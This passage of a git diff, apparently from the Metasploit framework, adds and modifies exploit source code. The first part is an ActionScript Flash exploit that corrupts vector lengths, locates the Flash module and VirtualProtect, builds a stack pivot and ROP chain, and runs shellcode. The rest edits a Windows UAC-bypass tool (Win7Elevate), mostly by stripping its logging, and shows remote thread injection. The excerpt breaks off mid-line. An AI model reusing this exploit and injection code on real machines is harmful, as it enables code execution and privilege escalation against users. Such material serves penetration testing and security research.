sound object vtable ptr */ + while (1) + { + if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234) + { + soundobjref = this.s[index][j+0x0A]; + dec = soundobjref-cvaddr-1; + this.s[index][dec/4-2] = cvaddr+2*4+4*4; + break; + } + + j++; + } + + /* Stack pivot */ + for (i=0; i < 0x200; i++) + this.s[index][i] = sp; + + /* ROP */ + this.s[index][0] = 0x41414141; + this.s[index][1] = 0x41414141; + this.s[index][2] = 0x41414141; + this.s[index][3] = 0x41414141; + this.s[index][4] = virtualprotectaddr; + this.s[index][5] = cvaddr+0xC00+8; + this.s[index][6] = cvaddr; + this.s[index][7] = 0x4000; + this.s[index][8] = 0x40; + this.s[index][9] = 0x1a002000; + + /* Shellcode */ + for(var u:String in shellcodeObj) + { + this.s[index][sh++] = Number(shellcodeObj[u]); + } + } + + + /* + * Get flash module base address + * index: index of vectors table + * cvaddr: corrupted vector address + */ + public function getFlashBaseAddr(index:uint, cvaddr:uint):Array + { + var baseflashaddr_off:uint = 0; + var j:int = 0; + var k:int = 0; + var kmax:uint = 0; + var vtableobj:int = 0; + var ocxinfo:Array = new Array(); + + + while (1) + { + if (this.s[index][j] == 0x00010c00) + { + vtableobj = this.s[index][j+0x08] & 0xFFFF0000; + + /* Get ocx base address */ + k = 0; + while (1) + { + if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D) + { + baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2; + ocxinfo[0] = baseflashaddr_off; + ocxinfo[1] = j; + ocxinfo[2] = k; + ocxinfo[3] = vtableobj; + + return ocxinfo; + } + + k = k + 0x1000; + } + } + + j = j + 0x1; + } + + return ocxinfo; + } + + /* + * Find kernel32.dll index + * index: index of vectors table + * baseflashaddr_off: flash dll address offset + * importsindex: offset to the imports table + */ + public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint + { + var nameindex:uint = 0; + var dllname:int = 0; + var nameaddr:int = 0; + + do + { + nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4]; + + /* kernel32.dll not found */ + if (nameaddr == 0x0) + break; + + dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); + + /* Check kernel32.dll */ + if (dllname == 0x6E72656B || dllname == 0x4E52454B) + { + nameaddr = nameaddr + 4; + dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); + if (dllname == 0x32336C65 || dllname == 0x32334C45) + { + nameaddr = nameaddr + 4; + dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); + if (dllname == 0x6C6C642E || dllname == 0x4C4C442E) + { + return nameindex; + } + } + } + + /* Next dll */ + nameindex = nameindex + 0x14; + } + while (1); + + return 0; + } + + /* + * Get VirtualProtectStub() addr + */ + public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint + { + var fct_addr:uint = 0; + var fct_name:uint = 0; + var fct_name_struct:uint = 0; + + do + { + fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4)); + fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4)); + + /* VirtualProtectStub() not found */ + if (fct_addr == 0 || fct_name_struct == 0) + break; + + if ((fct_name_struct & 0x80000000) != 0x80000000) + { + fct_name_struct = fct_name_struct + 2; + fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); + + /* Check VirtualProtect */ + if (fct_name == 0x74726956 || fct_name == 0x54524956) + { + fct_name_struct = fct_name_struct + 4; + fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); + if (fct_name == 0x504c4155 || fct_name == 0x506c6175) + { + fct_name_struct = fct_name_struct + 4; + fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); + if (fct_name == 0x45544f52 || fct_name == 0x65746f72) + { + return fct_addr; + } + } + } + } + + /* Next Function() */ + fct_addr_offset = fct_addr_offset + 0x4; + fct_name_offset = fct_name_offset + 0x4; + } + while (1); + + return 0; + } + + /* + * Get corrupted vector index + */ + public function getCorruptedVectorIndex():uint + { + var i:uint = 0; + for (i=0; i < this.s.length; i++) + { + if (this.s[i].length == 0x3FFFFFFF) + { + return i; + } + } + + return i; + } + + /* + * Corrupt next vector size + */ + public function corruptNextVector(index:uint):uint + { + var j:uint = 0; + + for (j=0; j < this.s.length; j++) + { + if (this.s[index][j] == 0x000003F0) + { + this.s[index][j] = 0x3FFFFFFF; + + return j; + } + + j = j + 1; + } + + + + return 0; + } + + /* + * Perform the exploitation + * - Find VirtualProtect() + * - Find a stack pivot + * - Build payload (SP + ROP + SC) + * - Run payload + */ + public function timerHandler(event:TimerEvent):void + { + var i:int = 0; + var j:int = 0; + var k:int = 0; + + var vtableobj:int = 0; + var peindex:int = 0; + var importsindex:int = 0; + var k32index:int = 0; + var fct_name_offset:uint = 0; + var fct_addr_offset:uint = 0; + + var baseflashaddr_off:int = 0; /* Base address of the flash dll */ + var vp_addr:uint = 0; /* VirtualProtectStub() addr */ + var stackpivot:uint = 0; /* Stackpivot address */ + + var cvaddr:int = 0x1a001000; /* corrupted vector address */ + var ocxinfo:Array; + var i2:uint = 0; + + /* Search the corrupted vector */ + for (i=0; i < this.s.length; i++) + { + /* Find corrupted vector */ + if (this.s[i].length == 0x010003f0) + { + this.myTimer.stop(); + + /* Corrupt next vector size */ + if (corruptNextVector(i) == 0) + return; + + /* Find corrupted vector */ + i2 = getCorruptedVectorIndex(); + if (i2 == 0) return; + + /* Get flash base addr */ + ocxinfo = getFlashBaseAddr(i2, cvaddr); + if (ocxinfo.length == 0) return; + baseflashaddr_off = ocxinfo[0]; + j = ocxinfo[1]; + k = ocxinfo[2]; + vtableobj = ocxinfo[3]; + + /* Get imports table */ + peindex = this.s[i2][baseflashaddr_off+0x3C/4]; + importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4]; + + /* Find kernel32.dll */ + k32index = getK32Index(i2, baseflashaddr_off, importsindex); + if (k32index == 0) return; + + fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4]; + fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4]; + + /* Find VirtualProtectStub() addr */ + vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset); + if (vp_addr == 0) return; + + /* Search Stack Pivot */ + stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k); + if (stackpivot == 0) return; + + /* Build Payload */ + buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot); + + /* Run Payload */ + this.sound.toString(); + + return; + } + } + } + } +} diff --git a/external/source/exploits/bypassuac/CMMN.cpp b/external/source/exploits/bypassuac/CMMN.cpp old mode 100644 new mode 100755 index fcb4a3e604..eb96df0830 --- a/external/source/exploits/bypassuac/CMMN.cpp +++ b/external/source/exploits/bypassuac/CMMN.cpp @@ -8,46 +8,6 @@ #include #include -/*************************************************************************************************/ -/*************************************************************************************************/ -/*************************************************************************************************/ - -std::wstring CError::Format( DWORD ErrorCode ) -{ - return Format( ErrorCode, NULL, NULL ); -} - -std::wstring CError::Format(DWORD ErrorCode, const TCHAR *Title, const TCHAR *API) -{ - LPVOID lpvMessageBuffer; - - FormatMessage( - FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM, - NULL, ErrorCode, - MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT), - (LPTSTR)&lpvMessageBuffer, 0, NULL); - - std::wstring result; - - std::wostringstream es(TEXT("")); - es << ErrorCode; - - if ( Title ) - { result.append( Title ); result.append( TEXT("\n") ); } - else - { result.append( TEXT("ERROR") ); result.append( TEXT("\n") ); } - - if ( API ) - { result.append( TEXT("API = ") );result.append( API ); result.append( TEXT("\n") ); } - result.append( TEXT("error code = ") );result.append( es.str() );result.append( TEXT("\n") ); - if( lpvMessageBuffer ) - { result.append( TEXT("message = ") );result.append( (TCHAR *)lpvMessageBuffer );result.append( TEXT("\n") ); } - - if ( lpvMessageBuffer ) - { LocalFree(lpvMessageBuffer); } - - return result; -} /*************************************************************************************************/ /*************************************************************************************************/ @@ -142,90 +102,3 @@ CInterprocessStorage::~CInterprocessStorage() CloseHandle( _hMapping ); } -/*************************************************************************************************/ -/*************************************************************************************************/ -/*************************************************************************************************/ - -std::wstring CLogger::GetPath() -{ - std::wstring path; - - TCHAR buffer[MAX_PATH]; - if ( GetTempPath( MAX_PATH, buffer ) ) - { - path.assign( buffer ); - path.append( TEXT("w7e.log") ); - } - - return path; -} - -void CLogger::Reset() -{ - DeleteFile( GetPath().c_str() ); -} - -void CLogger::LogLine( std::wstring& Text ) -{ - std::wstring tmp( Text.c_str() ); - tmp.append( TEXT("\n") ); - Log( tmp ); -} - -void CLogger::LogLine( ) -{ - Log( TEXT("\n") ); -} - -void CLogger::LogLine( const TCHAR *Text ) -{ - if ( Text ) - LogLine( std::wstring( Text ) ); -} - -void CLogger::Log( const TCHAR Char ) -{ - std::wstring tmp; - tmp.append( &Char, 1 ); - Log( tmp ); -} - -void CLogger::Log( const TCHAR *Text ) -{ - if ( Text ) - Log( std::wstring( Text ) ); -} - -void CLogger::Log( std::wstring& Text ) -{ - TCHAR buffer[MAX_PATH]; - // - // We have to check it every time to be reflective if user created this file - // while program was runnig. - // - if ( GetModuleFileName( NULL, buffer, MAX_PATH ) ) - { - std::wstring dbg( buffer ); - dbg.append( TEXT(".debug") ); - HANDLE hdbg = CreateFile( dbg.c_str(), FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); - if ( INVALID_HANDLE_VALUE == hdbg ) - return; - - CloseHandle( hdbg ); - } - - HANDLE mutex = CreateMutex( NULL, FALSE, TEXT("CLoggerSync") ); - if ( mutex ) WaitForSingleObject( mutex , INFINITE ); - HANDLE hFile = CreateFile( GetPath().c_str(), FILE_ALL_ACCESS, 0, NULL, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH, NULL ); - if( INVALID_HANDLE_VALUE != hFile ) - { - SetFilePointer( hFile, 0, NULL, FILE_END ); - - DWORD written; - WriteFile( hFile, Text.data(), Text.size() * sizeof(TCHAR), &written, NULL ); - - CloseHandle( hFile ); - } - if ( mutex ) ReleaseMutex( mutex ); - if ( mutex ) CloseHandle( mutex ); -} \ No newline at end of file diff --git a/external/source/exploits/bypassuac/Redirector.cpp b/external/source/exploits/bypassuac/Redirector.cpp old mode 100644 new mode 100755 index 13042bc52a..92a02270b9 --- a/external/source/exploits/bypassuac/Redirector.cpp +++ b/external/source/exploits/bypassuac/Redirector.cpp @@ -13,9 +13,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) assert( Parameter ); TRedirectorPair *pair = reinterpret_cast( Parameter ); - CLogger::Log( TEXT("Hello redirector thread: ") ); - CLogger::LogLine( pair->Name ); - CHAR read_buff[2]; DWORD nBytesRead,nBytesWrote; @@ -25,11 +22,7 @@ DWORD WINAPI Redirector( LPVOID Parameter ) { if( ! ReadFile( pair->Source, read_buff, 1, &nBytesRead, NULL) ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - pair->Name.c_str(), - TEXT("ReadFile") ) ); + error = true && (!pair->KeepAlive); break; } @@ -67,11 +60,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) if ( ! WriteConsoleInput( pair->Destination, &inp, 1, &nBytesWrote) ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - pair->Name.c_str(), - TEXT("WriteConsoleInput") ) ); error = true && (!pair->KeepAlive); break; } @@ -80,11 +68,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) { if ( ! WriteFile( pair->Destination, &read_buff[i], 1, &nBytesWrote, NULL) ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - pair->Name.c_str(), - TEXT("WriteFile") ) ); error = true && (!pair->KeepAlive); break; } @@ -92,8 +75,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) } } - CLogger::Log( TEXT("Bye redirector thread: ") ); - CLogger::LogLine( pair->Name ); return EXIT_SUCCESS; } diff --git a/external/source/exploits/bypassuac/TIOR/TIOR.cpp b/external/source/exploits/bypassuac/TIOR/TIOR.cpp old mode 100644 new mode 100755 index 70bed0931d..bdd6ee0d3d --- a/external/source/exploits/bypassuac/TIOR/TIOR.cpp +++ b/external/source/exploits/bypassuac/TIOR/TIOR.cpp @@ -20,7 +20,6 @@ int _tmain(int argc, _TCHAR* argv[]) { - CLogger::LogLine(TEXT("TIOR: Hello")); TRedirectorPair in = {0}; in.Source = CreateFile( STDIn_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0); @@ -79,9 +78,6 @@ int _tmain(int argc, _TCHAR* argv[]) CInterprocessStorage::GetString( TEXT("w7e_TIORArgs"), args ); CInterprocessStorage::GetString( TEXT("w7e_TIORDir"), dir ); - CLogger::LogLine(TEXT("TIOR: shell=")); CLogger::LogLine(shell); - CLogger::LogLine(TEXT("TIOR: args=")); CLogger::LogLine(args); - CLogger::LogLine(TEXT("TIOR: dir=")); CLogger::LogLine(dir); STARTUPINFO si = {0};si.cb = sizeof(si); PROCESS_INFORMATION pi = {0}; @@ -100,11 +96,6 @@ int _tmain(int argc, _TCHAR* argv[]) if ( ! created ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - TEXT("TIOR: Unable to create child process"), - TEXT("CreateProcess"))); return EXIT_FAILURE; } @@ -113,14 +104,12 @@ int _tmain(int argc, _TCHAR* argv[]) CloseHandle( pi.hThread ); } - CLogger::LogLine(TEXT("TIOR: Shell has been started. Waiting...")); HANDLE waiters[4] = {pi.hProcess, in.Thread, out.Thread, err.Thread} ; // // Waiting for eny handle to be freed. // Either some IO thread will die or process will be oevered. // WaitForMultipleObjects( 4, waiters, FALSE, INFINITE ); - CLogger::LogLine(TEXT("TIOR: Ensure that we processed all data in pipes")); // // Even if process was overed, we need to be sure that we readed all data from the redirected pipe. @@ -132,11 +121,9 @@ int _tmain(int argc, _TCHAR* argv[]) // Dont forget to close child process. We need to be sure, if user terminated app which // reads our redirected data, we terminate the target child app. // - CLogger::LogLine(TEXT("TIOR: Killing child process")); TerminateProcess( pi.hProcess, EXIT_FAILURE ); CloseHandle( pi.hProcess ); - CLogger::LogLine(TEXT("TIOR: Exit")); // // I will not close any handles here - system will terminate and close all by it self. diff --git a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj index 1be26fd9e2..ee5f209fcb 100644 --- a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj +++ b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -28,23 +28,27 @@ Application true Unicode + v120 Application true Unicode + v120 Application false - true + false Unicode + v120 Application false - true + false Unicode + v120 @@ -63,26 +67,31 @@ - true - $(ProjectName)32 - $(SolutionDir)$(Platform)\$(Configuration)\ + false + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ - true - $(ProjectName)64 - $(SolutionDir)$(Platform)\$(Configuration)\ + false + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ + AllRules.ruleset @@ -90,6 +99,8 @@ Level3 Disabled WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + Size Console @@ -99,6 +110,10 @@ + + + + @@ -106,11 +121,17 @@ Level3 Disabled WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + Size Console true + + + + @@ -121,6 +142,7 @@ true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) MultiThreaded + Size Console @@ -132,6 +154,10 @@ + + + + @@ -142,6 +168,7 @@ true WIN64;_WIN64;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) MultiThreaded + Size Console @@ -153,6 +180,10 @@ + + + + diff --git a/external/source/exploits/bypassuac/Win32/.keep b/external/source/exploits/bypassuac/Win32/.keep deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/external/source/exploits/bypassuac/Win7Elevate.sln b/external/source/exploits/bypassuac/Win7Elevate.sln old mode 100644 new mode 100755 index 96ab47ee65..2c3139c31e --- a/external/source/exploits/bypassuac/Win7Elevate.sln +++ b/external/source/exploits/bypassuac/Win7Elevate.sln @@ -1,6 +1,8 @@  -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{BB654285-1131-415D-B796-21045D32DF87}" ProjectSection(SolutionItems) = preProject Win7Elevate_v2_read_me.txt = Win7Elevate_v2_read_me.txt @@ -18,37 +20,32 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win7Elevate", "Win7Elevate\ EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Pocket PC 2003 (ARMV4) = Debug|Pocket PC 2003 (ARMV4) Debug|Win32 = Debug|Win32 Debug|x64 = Debug|x64 - Release|Pocket PC 2003 (ARMV4) = Release|Pocket PC 2003 (ARMV4) Release|Win32 = Release|Win32 Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.ActiveCfg = Debug|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.Build.0 = Debug|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.ActiveCfg = Debug|x64 - {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32 + {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.Build.0 = Debug|x64 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.ActiveCfg = Release|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.Build.0 = Release|Win32 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.ActiveCfg = Release|x64 {B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.Build.0 = Release|x64 - {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.ActiveCfg = Debug|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.Build.0 = Debug|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.ActiveCfg = Debug|x64 - {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32 + {A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.Build.0 = Debug|x64 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.ActiveCfg = Release|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.Build.0 = Release|Win32 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.ActiveCfg = Release|x64 {A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.Build.0 = Release|x64 - {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.ActiveCfg = Debug|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.Build.0 = Debug|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.ActiveCfg = Debug|x64 - {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32 + {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.Build.0 = Debug|x64 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.ActiveCfg = Release|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.Build.0 = Release|Win32 {10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|x64.ActiveCfg = Release|x64 diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp old mode 100644 new mode 100755 index 4bd0054297..9efefdb568 Binary files a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp and b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp differ diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc old mode 100644 new mode 100755 index ebf56f1776..545523556a --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc @@ -61,22 +61,23 @@ END #ifdef _DEBUG +// Z:\code\metasploit-framework\external\source\exploits\bypassuac\TIOR\Debug\Win32 #ifdef _WIN64 -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Debug\\Win7ElevateDll64.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Debug\\TIOR64.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\x64\\Win7ElevateDll.x64.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\x64\\TIOR.x64.exe" #else -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Debug\\Win7ElevateDll32.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Debug\\TIOR32.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Debug\\Win32\\Win7ElevateDll.x86.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Debug\\Win32\\TIOR.x86.exe" #endif #else // _DEBUG #ifdef _WIN64 -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\x64\\Release\\Win7ElevateDll64.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\x64\\Release\\TIOR64.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\x64\\Win7ElevateDll.x64.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\x64\\TIOR.x64.exe" #else -IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win32\\Release\\Win7ElevateDll32.dll" -IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\Win32\\Release\\TIOR32.exe" +IDD_EMBEDDED_DLL BINARY MOVEABLE PURE "..\\Win7ElevateDll\\\Release\\Win32\\Win7ElevateDll.x86.dll" +IDD_EMBEDDED_TIOR BINARY MOVEABLE PURE "..\\TIOR\\Release\\Win32\\TIOR.x86.exe" #endif #endif diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj index d1a7d4f0c3..fd69093652 100644 --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -28,23 +28,27 @@ Application true Unicode + v120 Application true Unicode + v120 Application false - true + false Unicode + v120 Application false - true + false Unicode + v120 @@ -63,25 +67,30 @@ - true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + false + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ - true - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + false + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ + AllRules.ruleset @@ -96,10 +105,12 @@ false ProgramDatabase MultiThreadedDebug + Size Console true + Default @@ -119,10 +130,12 @@ false ProgramDatabase MultiThreadedDebug + Size Console true + Default @@ -141,12 +154,14 @@ OnlyExplicitInline false false + Size Console false true true + Default @@ -155,6 +170,9 @@ WIN32;_UNICODE;UNICODE;%(PreprocessorDefinitions) + + copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe" + @@ -168,12 +186,14 @@ OnlyExplicitInline false false + Size Console false true true + Default @@ -182,6 +202,9 @@ WIN64;_WIN64;_UNICODE;UNICODE;%(PreprocessorDefinitions) + + copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\..\..\..\data\post\bypassuac-$(PlatformTarget).exe" + @@ -204,7 +227,10 @@ - + + WIN64;_WIN64;_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) + _DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions) + diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp old mode 100644 new mode 100755 index 4df3f129ba..5aa84f23dd --- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp +++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp @@ -209,7 +209,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (codeStartAdr >= codeEndAdr) { //MessageBox(hWnd, L"Unexpected function layout", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Unexpected function layout"); return; } @@ -220,7 +219,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (dwGMFNRes == 0 || dwGMFNRes >= _countof(szPathToSelf)) { //MessageBox(hWnd, L"Couldn't get path to self", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Couldn't get path to self"); return; } @@ -231,7 +229,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (S_OK != hr) { //MessageBox(hWnd, L"SHGetFolderPath failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"SHGetFolderPath failed"); return; } @@ -240,7 +237,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d if (hModKernel32 == 0) { //MessageBox(hWnd, L"Couldn't load kernel32.dll", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Couldn't load kernel32.dll"); return; } @@ -257,7 +253,6 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d || 0 == tfpWaitForSingleObject.f) { //MessageBox(hWnd, L"Couldn't find API", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Couldn't find API"); } else { @@ -374,26 +369,11 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true); - if (reme.AnyFailures()) - { - //MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING); - CLogger::LogLine(L"Remote allocation failed"); - } - else + if (!(reme.AnyFailures())) { HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, 